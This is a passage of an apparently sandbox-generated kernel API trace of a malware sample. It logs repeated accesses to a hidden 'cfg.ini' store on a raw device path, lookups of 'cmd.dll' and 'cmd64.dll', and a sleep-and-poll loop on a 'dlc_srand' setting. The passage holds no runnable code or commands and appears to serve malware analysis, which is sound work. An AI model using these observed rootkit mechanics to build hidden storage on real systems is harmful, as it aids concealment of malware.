ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.716] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.717] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.717] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.717] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.717] IdePortDispatch () returned 0x103 [0128.717] KeWaitForMutexObject () returned 0x0 [0128.717] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.717] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.717] KeLeaveCriticalRegion () [0128.717] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.717] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.717] KeEnterCriticalRegion () [0128.717] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.717] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b13000 [0128.717] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.717] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.717] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.717] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.717] IdePortDispatch () returned 0x103 [0128.717] KeWaitForMutexObject () returned 0x0 [0128.717] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.717] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.717] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.717] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.717] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.717] IdePortDispatch () returned 0x103 [0128.718] KeWaitForMutexObject () returned 0x0 [0128.718] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.718] KeLeaveCriticalRegion () [0128.718] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.718] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.718] KeEnterCriticalRegion () [0128.718] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.718] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.718] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.718] KeLeaveCriticalRegion () [0128.718] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.718] KeEnterCriticalRegion () [0128.718] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.718] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.718] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c01bd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.718] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.718] KeLeaveCriticalRegion () [0128.718] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.719] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.719] KeEnterCriticalRegion () [0128.719] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.719] ExFreePoolWithTag (P=0xfffffa8003c00500, Tag=0x0) [0128.719] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.719] KeLeaveCriticalRegion () [0128.719] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.719] ReleaseMutex (hMutex=0xf0) returned 1 [0128.719] Sleep (dwMilliseconds=0x124f80) [0128.735] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.735] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.735] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.735] KeEnterCriticalRegion () [0128.735] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.735] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.735] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.735] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.735] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.735] IdePortDispatch () returned 0x103 [0128.735] KeWaitForMutexObject () returned 0x0 [0128.735] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.735] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.735] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.735] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.735] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.735] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c00c30 [0128.735] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.735] KeLeaveCriticalRegion () [0128.735] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.735] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.735] KeEnterCriticalRegion () [0128.735] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.735] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.735] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.735] KeLeaveCriticalRegion () [0128.736] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.736] KeEnterCriticalRegion () [0128.736] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.736] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.736] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.736] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.736] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.736] IdePortDispatch () returned 0x103 [0128.736] KeWaitForMutexObject () returned 0x0 [0128.736] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.736] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.736] KeLeaveCriticalRegion () [0128.736] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.736] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.736] KeEnterCriticalRegion () [0128.736] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.736] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b18000 [0128.736] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.736] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.736] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.736] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.736] IdePortDispatch () returned 0x103 [0128.736] KeWaitForMutexObject () returned 0x0 [0128.736] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.736] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.736] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.737] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.737] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.737] IdePortDispatch () returned 0x103 [0128.737] KeWaitForMutexObject () returned 0x0 [0128.737] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.737] KeLeaveCriticalRegion () [0128.737] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.737] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.737] KeEnterCriticalRegion () [0128.737] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.737] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.737] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.737] KeLeaveCriticalRegion () [0128.737] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.737] KeEnterCriticalRegion () [0128.738] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.738] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.738] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c001d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.738] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.738] KeLeaveCriticalRegion () [0128.738] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.738] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.738] KeEnterCriticalRegion () [0128.738] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.738] ExFreePoolWithTag (P=0xfffffa8003c00c30, Tag=0x0) [0128.738] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.738] KeLeaveCriticalRegion () [0128.738] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.738] ReleaseMutex (hMutex=0xf0) returned 1 [0128.738] Sleep (dwMilliseconds=0x124f80) [0128.753] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.753] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.753] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.753] KeEnterCriticalRegion () [0128.753] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.753] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.753] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.753] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.753] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.753] IdePortDispatch () returned 0x103 [0128.753] KeWaitForMutexObject () returned 0x0 [0128.753] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.753] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.753] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.753] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.753] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.753] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c01b70 [0128.753] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.753] KeLeaveCriticalRegion () [0128.753] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.753] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.754] KeEnterCriticalRegion () [0128.754] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.754] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.754] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.754] KeLeaveCriticalRegion () [0128.754] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.754] KeEnterCriticalRegion () [0128.754] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.754] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.754] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.754] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.754] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.754] IdePortDispatch () returned 0x103 [0128.754] KeWaitForMutexObject () returned 0x0 [0128.754] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.754] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.754] KeLeaveCriticalRegion () [0128.754] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.754] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.754] KeEnterCriticalRegion () [0128.754] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.754] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b1d000 [0128.754] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.754] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.754] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.754] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.754] IdePortDispatch () returned 0x103 [0128.754] KeWaitForMutexObject () returned 0x0 [0128.755] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.755] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.755] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.755] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.755] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.755] IdePortDispatch () returned 0x103 [0128.755] KeWaitForMutexObject () returned 0x0 [0128.755] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.755] KeLeaveCriticalRegion () [0128.755] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.755] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.755] KeEnterCriticalRegion () [0128.755] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.755] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.756] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.756] KeLeaveCriticalRegion () [0128.756] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.756] KeEnterCriticalRegion () [0128.756] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.756] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.756] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c01830, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.756] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.756] KeLeaveCriticalRegion () [0128.756] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.756] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.756] KeEnterCriticalRegion () [0128.756] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.756] ExFreePoolWithTag (P=0xfffffa8003c01b70, Tag=0x0) [0128.756] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.756] KeLeaveCriticalRegion () [0128.756] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.756] ReleaseMutex (hMutex=0xf0) returned 1 [0128.756] Sleep (dwMilliseconds=0x124f80) [0128.772] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.772] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.772] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.772] KeEnterCriticalRegion () [0128.772] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.772] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.772] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.772] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.772] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.772] IdePortDispatch () returned 0x103 [0128.772] KeWaitForMutexObject () returned 0x0 [0128.773] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.773] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.773] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.773] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.773] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.773] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfffb0 [0128.773] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.773] KeLeaveCriticalRegion () [0128.773] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.773] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.773] KeEnterCriticalRegion () [0128.773] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.773] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.773] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.773] KeLeaveCriticalRegion () [0128.773] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.773] KeEnterCriticalRegion () [0128.773] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.773] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.773] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.773] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.773] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.773] IdePortDispatch () returned 0x103 [0128.773] KeWaitForMutexObject () returned 0x0 [0128.773] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.773] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.773] KeLeaveCriticalRegion () [0128.773] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.773] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.773] KeEnterCriticalRegion () [0128.773] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.774] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b22000 [0128.774] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.774] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.774] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.774] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.774] IdePortDispatch () returned 0x103 [0128.774] KeWaitForMutexObject () returned 0x0 [0128.774] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.774] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.774] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.774] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.774] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | 